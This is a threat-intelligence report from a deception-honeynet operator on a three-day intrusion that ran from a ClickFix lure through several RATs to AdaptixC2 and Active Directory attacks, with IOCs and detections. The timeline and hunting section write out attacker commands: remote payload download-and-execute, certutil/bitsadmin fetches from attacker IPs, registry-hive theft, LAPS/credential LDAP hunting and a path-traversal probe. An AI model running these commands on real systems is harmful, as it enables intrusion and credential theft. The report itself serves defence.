[Op Report] From ClickFix SpaceX1337 to Hands-on-Keyboard AD Attack

Written By MalBeacon

ThreatActor uses ClickFix to load SpaceX1337 then stacks four commodity RATs and pivots to an AdaptixC2 domain intrusion inside Deception.Pro.

Executive Summary

A security researcher at one of the top 10 U.S. banks ran the operation on a Deception.Pro Active Directory honeynet. It captured a three-day intrusion that began as a run-of-the-mill ClickFix lure and escalated into a full hands-on-keyboard domain attack. A spoofed financial-services page (dobyfinancial[.]com) presented a fake Cloudflare “Verify you are human” / “DNS Mismatch” prompt that walked the user through a paste-and-run Win+R → Ctrl+V → Enter sequence, delivering a first-stage PowerShell downloader and the SpaceX1337 RAT (self-branded “Overlord – 1337 y0ur n3tw0rk 1s 0urs”).

Over the following hours the same access was reused to stage four separate commodity RAT families — SpaceX1337, NetSupport RAT, AsyncRAT (via a signed GoTo Meeting DLL side-load), and a Remus-class stealer from numeric/decimal-encoded loader hosts. What made the operation notable is what happened after the automated stealer phase: the operator returned with interactive shells, pulled down an AdaptixC2 beacon compiled on-host with csc.exe, and spent the second day performing deep Active Directory reconnaissance, credential theft, seeded-credential abuse, lateral movement to a domain controller, and a credential-stuffing run against a seeded VPN portal.

Because the environment is fully instrumented — EDR, Suricata with TLS inspection enabled, and full Zeek metadata — the entire chain was observed end to end. Seeded deceptions (service-account passwords planted in Active Directory info attributes, a Group Policy Preferences trail, phantom domain trusts, and a VPN credential note) drew the operator into using planted credentials, exposing the full lateral-movement and VPN-attack playbook without ever putting a production asset at risk.

Key takeaway: an intrusion that a triage analyst could reasonably have written off as a generic crypto-stealer campaign was, in fact, an AD-aware operator who raised their game the moment they realized the host was domain-joined.

Environment at a Glance

  • Replica Role: Senior Claims Analysts

  • Replica Organization: Global Leader in Property, Casualty, and Life Insurances

  • Industry: Insurance

  • Topology: Microsoft Active Directory environment with 2,500+ endpoints and 500+ users.

  • Replica Location: United States

  • Observed duration: ~72 hours (Aug 4, 2026 through Aug 7, 2026)

  • Sensor Stack: LimaCharlie EDR, Zeek, Suricata with ETPRO

  • Infection Vector: ClickFix

  • Primary Threat Families: SpaceX1337, NetSupport, Remus, AsyncRAT, AdaptixC2

Note: Replica personas, organizations, and documents are AI-generated and randomized for believability. Any resemblance to real-world entities is purely coincidental.

Figure 1: Screenshot of the initial ClickFix site masquerading as a financial services company.

Timeline of Operation Activity

Times are UTC unless noted. The intrusion breaks cleanly into an automated stealer phase (Day 1) and a hands-on-keyboard domain phase (Days 1–2).

Phase 1 — ClickFix initial access & SpaceX1337 (4 Aug, ~19:27)

  • 19:27 – windowsupdate.exe executes from the Downloads folder and re-launches itself with the --spacex-admin-service flag — the SpaceX1337 RAT.

  • It geolocates the host via ipinfo[.]io, ipapi[.]co, api[.]ipify[.]org and icanhazip[.]com, then beacons to 216[.]158[.]95[.]196:5173. The C2 exposes a themed “SPACE X 1337” web login panel (pictured below).

  • Notable evasion: the SpaceX1337 TLS client presents a randomized per-connection JA3 — dozens of unique client fingerprints across a handful of server fingerprints.

Phase 2 — Multi-RAT staging from encoded loader hosts (4–7 Aug, recurring)

  • The operator repeatedly pulled follow-on payloads using PowerShell Invoke-WebRequest against decimal-encoded IP loader hosts — e.g. iwr 1495423691/winup (= 89[.]34[.]90[.]203) and iwr 3634257860/cloud (= 216[.]158[.]95[.]196). Three distinct payload families were dropped:

    • NetSupport RAT — winup.ps1 stages a bundled Python interpreter that runs setup.py, installing Service.exe under AppData\Roaming\NetSupport; checks in to asgomd[.]com / 45[.]227[.]254[.]179:443.

    • Remus-class stealer — cloud.ps1 drops Veritaseum.exe, which beacons/exfils to slyfogx[.]shop / 45[.]43[.]143[.]17:5776 (ET Pro “Remus CnC”). Crypto-wallet recon follows — registry Uninstall queries for Ledger and Trezor.

    • AsyncRAT — main/mains/mainn.ps1 stage 3233133.exe, a legitimately signed GoTo Meeting binary used to DLL side-load a malicious g2m.dll; C2 rotates across 188[.]40[.]162[.]172:56001, 94[.]26[.]83[.]46:56001 and 94[.]26[.]83[.]44:56001 (server cert CN=Gzdsad).

Phase 3 — Hands-on-keyboard pivot: AdaptixC2 (5–6 Aug, from ~23:26 / 01:37)

  • Interactive cmd.exe /d /Q /K shells appear — the tempo and error-and-retry pattern mark the shift from automation to a live operator.

  • A PowerShell one-liner fetches svc.cs from corpus-relax-boss-attachments[.]trycloudflare[.]com/d/2a1021910ed4; csc.exe compiles it on-host into svc.exe — an AdaptixC2 BeaconHTTP agent.

  • The beacon rotates across six trycloudflare.com hostnames fronted by Cloudflare edge IPs 104[.]16[.]230[.]132 / 104[.]16[.]231[.]132; source intelligence places the true origins at 85[.]155[.]186[.]2 and 170[.]205[.]37[.]29. Extracted config: RC4 profile key 1fe0f33f0ba1b5a641b8d2bf4aa9a8b8, watermark 0x41f50bd7, Dropbox-API-style URIs.

Phase 4 — Active Directory discovery (6 Aug 01:40–02:35 & 13:33–16:56, 7 Aug)

  • Baseline recon: systeminfo, whoami /all, ipconfig /all, net user/group ‘Domain Admins’/‘Enterprise Admins’ /domain, nltest /dclist /domain_trusts, klist, netstat.

  • Deep ADSI/LDAP tradecraft via DirectorySearcher: enumerating computer objects (name=SRV*) and (operatingSystem=*Server*); harvesting svc_* service accounts and reading their description and info attributes; hunting SPNs (Kerberoast targets), LAPS (ms-Mcs-AdmPwd=*)), and delegation (msDS-AllowedToDelegateTo=*).

  • SYSVOL / Group Policy Preferences cpassword hunting, and enumeration of seeded phantom trusts.

  • Local subnet sweeps of TCP 445/135/3389/5985 and mass net view of discovered hosts.

Phase 5 — Credential access (6 Aug 02:32–15:03, 7 Aug 18:10)

  • Browser theft: copies of Chrome History and Login Data, reading the Local State os_crypt key and attempting app-bound key decryption via the Chrome IElevator COM interface and the elevation service, with SYSTEM-level scheduled-task tricks (ChromeKeyTask, WU_Update).

  • A helper binary chromelevator_x64.exe is pulled from 85[.]155[.]186[.]2:8888 and :9999 via certutil and bitsadmin (saved as svcdiag.exe / sd.exe).

  • Registry-hive theft: reg save HKLM\SAM | SYSTEM | SECURITY to C:\Windows\Temp, then Compress-Archive for offline extraction. Also VaultCmd, cmdkey /list, netsh wlan show profiles.

Phase 6 — Seeded-credential abuse & lateral movement (6 Aug 11:39+, 7 Aug)

  • Seeded service-account passwords recovered from the LDAP info attributes / GPP trail were sprayed against the DC for multiple user and svc_* accounts.

  • A planted domain-admin credential authenticated successfully: net use \\<DC_NAME>\IPC$ / ADMIN$ / C$ / sysvol as a domain admin, plus winrs to the DC and a mapped Z: SYSVOL drive — exactly the SMB Administrator-auth and Impacket-style session-setup alerts the deception is designed to trip.

Phase 7 — VPN credential-stuffing against a seeded endpoint (6 Aug 14:40–20:08)

  • A discovered VPN credential note yielded a portal username; the operator ran a cred-stuffing / brute campaign against cycling multiple planted passwords.

  • The operator also probed the VPN for auth-token renewal, password-change abuse, file enumeration, and path-traversal attempts (/api/file/..%2f..%2fetc/passwd). Sensitive source collection places the brute traffic originated from 85[.]155[.]186[.]2 — the same origin as the AdaptixC2 infrastructure, tying the VPN attack to the hands-on operator.

Total observed duration: ~ 72 hours


Assessment

This operation is a clean example of a an commodity front-end hiding an objective-driven operator. The ClickFix lure, crypto-wallet recon, and stacked stealers all point to a mass-market infostealer campaign. But the moment the host presented as domain-joined with reachable Active Directory, the actor changed posture entirely — dropping a purpose-built AdaptixC2 beacon and pursuing credentials, delegation paths, LAPS, DC access, and VPN footholds.

The tradecraft is capable but not elite. The operator leaned heavily on living-off-the-land binaries (certutil, bitsadmin, csc.exe, schtasks, reg save, winrs) and hands-typed PowerShell, with visible trial-and-error — dozens of near-identical curl/PowerShell attempts against the VPN API, and repeated encoding fumbles. That noise is itself an indicator: a real operator improvising against an unfamiliar environment, not a polished script.

The stacking of four RAT families plus a dedicated C2 framework suggests either an access broker monetizing the same foothold multiple ways, or an operator hedging for resilience. The heavy reuse of a single Adaptix origin (85[.]155[.]186[.]2) for the beacon, the second-stage tool host, and the VPN brute source is the strongest pivot in the dataset and links the otherwise-disparate phases to one actor.

Deception outcome: every planted lure fired as intended. Credentials seeded in AD info attributes and a VPN note were harvested and immediately weaponized; the phantom trusts and SRV* host list absorbed hours of recon; and the seeded VPN and DC-admin paths produced high-fidelity lateral-movement telemetry — all inside a fully-monitored killbox, with zero risk to production.

Defender Takeaways

  • Treat ClickFix seriously. A “Verify you are human” / “DNS Mismatch” page that instructs Win+R → Ctrl+V → Enter is malware delivery. Alert on RunMRU entries containing powershell / iwr / curl and on PowerShell whose parent is explorer.exe.

  • Hunt decimal/numeric-IP downloads. iwr <integer>/path and Executable Download from dotted-quad Host are cheap, high-signal detections.

  • Watch for on-host compilation. csc.exe or cvtres.exe spawned from cmd/powershell in a user temp path is a strong staging signal (AdaptixC2 built svc.exe this way).

  • Alert on hive theft & LOLBin downloads. reg save HKLM\SAM|SYSTEM|SECURITY, and certutil -urlcache / bitsadmin /transfer fetching an EXE from a bare IP.

  • Instrument AD read paths. LDAP queries reading info on svc_* accounts, ms-Mcs-AdmPwd, and delegation attributes are classic pre-escalation recon. Never store secrets in description / info — and consider seeding them as canaries.

  • Trycloudflare is not benign by default. Rapid, high-volume *.trycloudflare.com TLS with host-header rotation to Cloudflare edge IPs is worth review; here it fronted AdaptixC2.

  • Monitor DLL side-loading of signed binaries. A signed GoTo Meeting 3233133.exe loading g2m.dll from a user AppData path is AsyncRAT, not a meeting.

Figure 2: SpaceX1337 C2 panel login screen.

About Deception Pro

Deception.Pro (operated by PKB Communications LLC / MalBeacon) runs persistent, fully-instrumented Windows Active Directory honeynets designed to look and behave like real corporate environments. Seeded users, credentials, shares, VPN endpoints, and domain trusts lure real adversaries into hands-on activity while EDR, network, and PowerShell telemetry capture every step. The result is first-party, ground-truth threat intelligence — defanged IOCs, TTPs, and detections — sourced from live adversary behavior rather than open-source aggregation. Researchers are invited to apply for a free account.

Indicators of Compromise

Domains & IP Addresses

Lure / initial access

dobyfinancial[.]com                     spoofed finance page hosting the ClickFix lure
asdiasd[.]hesoyam[.]casa                 ClickFix stage-0 script host (s.ps1)

SpaceX1337 (“Overlord”) RAT

216[.]158[.]95[.]196:5173               SpaceX1337 C2 (also :443, STUN :3478)
216[.]158[.]95[.]196:80                 loader host (/cloud, /cubootc6ac86c4)

Loader / staging hosts

89[.]34[.]90[.]203:80                   decimal 1495423691 (/winup /main /mains /mainn)

NetSupport RAT

asgomd[.]com  /  45[.]227[.]254[.]179:443

Remus-class stealer

slyfogx[.]shop  /  45[.]43[.]143[.]17:5776

AsyncRAT (GoTo Meeting DLL side-load)

188[.]40[.]162[.]172:56001
94[.]26[.]83[.]46:56001
94[.]26[.]83[.]44:56001

AdaptixC2 (hands-on-keyboard)

corpus-relax-boss-attachments[.]trycloudflare[.]com   svc.cs loader
gloves-handbook-shot-cemetery[.]trycloudflare[.]com:443
interfaces-blues-hope-definition[.]trycloudflare[.]com:443
stayed-desert-scored-adds[.]trycloudflare[.]com:443
guitars-las-industry-transition[.]trycloudflare[.]com:443
plains-mark-classified-clubs[.]trycloudflare[.]com:443
lung-alternate-interracial-issn[.]trycloudflare[.]com:443
85[.]155[.]186[.]2                       AdaptixC2 origin; 2nd-stage host :8888/:9999; VPN brute source
170[.]205[.]37[.]29                      AdaptixC2 origin

URLs

hxxps://asdiasd[.]hesoyam[.]casa/s[.]ps1?t=[UID]
hxxp://89[.]34[.]90[.]203/winup   (also /main /mains /mainn)
hxxp://216[.]158[.]95[.]196/cloud   (also /cubootc6ac86c4)
hxxps://corpus-relax-boss-attachments[.]trycloudflare[.]com/d/2a1021910ed4
hxxp://85[.]155[.]186[.]2:8888/chromelevator_x64[.]exe
hxxp://85[.]155[.]186[.]2:9999/chromelevator_x64[.]exe

Suricata Alert Signatures

2827745  ETPRO MALWARE NetSupport RAT CnC Activity
2035892  ET REMOTE_ACCESS NetSupport Remote Admin Checkin
2867338  ETPRO MALWARE Remus CnC Victim Checkin (Debug)
2867339  ETPRO MALWARE Remus CnC Exfil (POST)
906200096 SSLBL Malicious JA3 SSL-Client Fingerprint (AsyncRAT)
2842478  ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)
2035595  ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert
903207447 SSLBL Malicious SSL certificate (QuasarRAT/AsyncRAT C&C)
2058175  ET HUNTING TryCloudFlare Domain in TLS SNI
2034552  ET INFO DNS Query to Commonly Abused Cloudflare Domain
2016141  ET INFO Executable Download from dotted-quad Host
2022858  ET HUNTING Suspicious BITS EXE DL From Dotted Quad
2842588  ETPRO HUNTING Windows BITS UA Retrieving EXE M2
3300116  Suspicious BITSAdmin HTTP connection (T1105)
2033355  ET INFO Windows Powershell User-Agent Usage
2026988  ET ATTACK_RESPONSE PowerShell NoProfile Command Received
3115595/595x MS-SAMR SamrEnumerate/LookupDomain (Stamus)
3115336  MS-SRVS NetrShareEnum (Stamus)
3301111  Impacket/Metasploit-style SMB setup (T1021.002)
3300136  SMB Authentication Administrator Account
3306862/3306863 Over 50MB/100MB TLS upload (exfil)

File Hashes (SHA-256)

windowsupdate.exe (SpaceX1337)   13e7864dcd2cc896e50a33d5cd4b1aa97bcc9b0be445268b7bb10faa778bdaa5
svc.exe (AdaptixC2, csc-compiled)  25a8ffe41e60c3ca6054b7e877dcf2c58b60900517c8640893ccec2dc4d21f41
AdaptixC2 sample (config source)  ef718fff7eba50f4986bcffeadb40351b1002c121dbfc37c05bc79fd78e1a18c
hs.zip (AsyncRAT bundle)          4dc920da5757305b403f23fcb4556b739f205d6e1c080c044359560993741baf
mains.zip (AsyncRAT bundle)       738670b6d571ff3077a7bf858c2ca9730095addce87307d87e754039eeff50b3
mestos.zip (NetSupport bundle)    55ebdf3dad264d9245fc081234f5e1547ff2017528c9718981d1a610a9bd6f67
3233133.exe (signed GoTo, host)   4dc4c0bdce7d711bd4160beebbfe67d64a65a5c083429cb222926d7bd095b353
g2m.dll (side-load, variant 1)    8db21149cf24a305f0fa179b76054edc724921d9cbc08e26ebeaa7caba549c02
g2m.dll (side-load, variant 2)    e9b38ea850d8d914c8ad1c4d6107d19efacc690d1b9d0635e59e9155717b403b

JA3 / JA3S Fingerprints

AdaptixC2 client JA3     37f463bf4616ecd445d4a1937da06e19
AsyncRAT client JA3      fc54e0d16d9764783542f0146a98b300
AsyncRAT server JA3S     b74704234e6128f33bff9865696e31b3  (cert CN=Gzdsad)
SpaceX1337 server JA3S   15af977ce25de452b96affa2addb1036 , eb1d94daa7e0344597e756a1fb6e7054

Note: SpaceX1337 randomizes its client JA3 per connection (dozens of unique hashes). Cloudflare-fronted AdaptixC2 JA3S (ec74a5c51106f0419184d0dd08fb05bc, b31c0b82752ea0e2c48b8ce46e9263e5) are shared edge fingerprints — low confidence alone.

On-Disk Artifacts & Paths

<user>\Downloads\windowsupdate.exe            SpaceX1337
%TEMP%\winup.ps1 | cloud.ps1 | main.ps1 | mains.ps1 | mainn.ps1
%TEMP%\clean-update-bootstrap.ps1            persistence attempt
%TEMP%\AppSetup\Python\python.exe + %TEMP%\AppSetup\setup.py
AppData\Roaming\NetSupport\Service.exe       NetSupport RAT
AppData\Roaming\ServiceClient[s|s2]\3233133.exe  AsyncRAT (+ g2m.dll)
%TEMP%\Veritaseum.exe                        Remus-class stealer
%TEMP%\svc.cs , %TEMP%\svc.exe               AdaptixC2 (compiled on-host)
C:\Windows\Temp\svcdiag.exe , sd.exe         chromelevator_x64.exe
C:\Windows\Temp\s.dat | sy.dat | se.dat      SAM | SYSTEM | SECURITY hives
C:\Windows\Temp\sy.zip                       staged hive archive
C:\Windows\Temp\h.db , %TEMP%\ld.db          Chrome History / Login Data
Scheduled tasks: ChromeKeyTask , WU_Update

Command-Line Artifacts for Hunting

powershell ... "iwr <decimal-ip>/<path> -OutFile $env:temp\x.ps1 ...;&$env:temp\x.ps1"
csc.exe /target:winexe ... /out:%TEMP%\svc.exe %TEMP%\svc.cs
reg save HKLM\SAM|SYSTEM|SECURITY C:\Windows\Temp\*.dat /y
certutil -urlcache -split -f hxxp://85[.]155[.]186[.]2:8888/chromelevator_x64[.]exe ...
bitsadmin /transfer dl hxxp://85[.]155[.]186[.]2:9999/chromelevator_x64[.]exe ...
([adsisearcher]'(samaccountname=svc_*)') ... $_.Properties['info'] / ['description']
DirectorySearcher Filter '(name=SRV*)' | '(ms-Mcs-AdmPwd=*)' | '(msDS-AllowedToDelegateTo=*)'
schtasks /Create /TN ChromeKeyTask /TR "powershell -enc ..." ... /RU SYSTEM
net use \\DC-US-2\IPC$ /user:<domain>\<domain_admin> <pw>   (also ADMIN$/C$/sysvol)
winrs -r:DC-US-2.<domain> -u:<domain>\<domain_admin>-p:<pw> hostname
curl.exe -sk -X POST hxxps://VPN_ENDPOINT/api/auth/login/userpassword -d @b.json

MITRE ATT&CK Mapping

  • Initial Access: T1566 Phishing; T1204.004 Malicious Copy-Paste (ClickFix); T1189 Drive-by Compromise

  • Execution: T1059.001 PowerShell; T1059.003 Windows Command Shell; T1204.002 User Execution; T1127 Trusted Developer Utilities (csc.exe)

  • Persistence: T1053.005 Scheduled Task

  • Defense Evasion: T1218 System Binary Proxy (certutil/bitsadmin); T1140 Deobfuscate/Decode; T1027 Obfuscated Files/Info (decimal-IP, base64); T1036 Masquerading (windowsupdate.exe); T1574.002 DLL Side-Loading (g2m.dll); T1070 Indicator Removal (transcript deletion)

  • Discovery: T1087 Account; T1482 Domain Trust; T1018 Remote System; T1046 Network Service; T1069 Permission Groups; T1016 Network Config; T1135 Network Share; T1518.001 Security Software

  • Credential Access: T1003.002 SAM; T1003.004 LSA Secrets; T1552.006 GPP; T1552.001 Creds in Files; T1555.003 Creds from Browsers; T1110.003 Password Spraying; T1110.004 Credential Stuffing

  • Lateral Movement: T1021.002 SMB/Admin Shares; T1021.006 WinRM

  • Command & Control: T1071.001 Web Protocols; T1105 Ingress Tool Transfer; T1571 Non-Standard Port; T1573 Encrypted Channel; T1572 Protocol Tunneling (trycloudflare); T1132 Data Encoding

  • Collection / Exfiltration: T1005 Data from Local System; T1041 Exfiltration Over C2 Channel (50MB+/100MB+ TLS uploads)

MalBeacon https://MalBeacon.com
Next

[Op Report] From Award Scam to Domain Recon & Exfiltration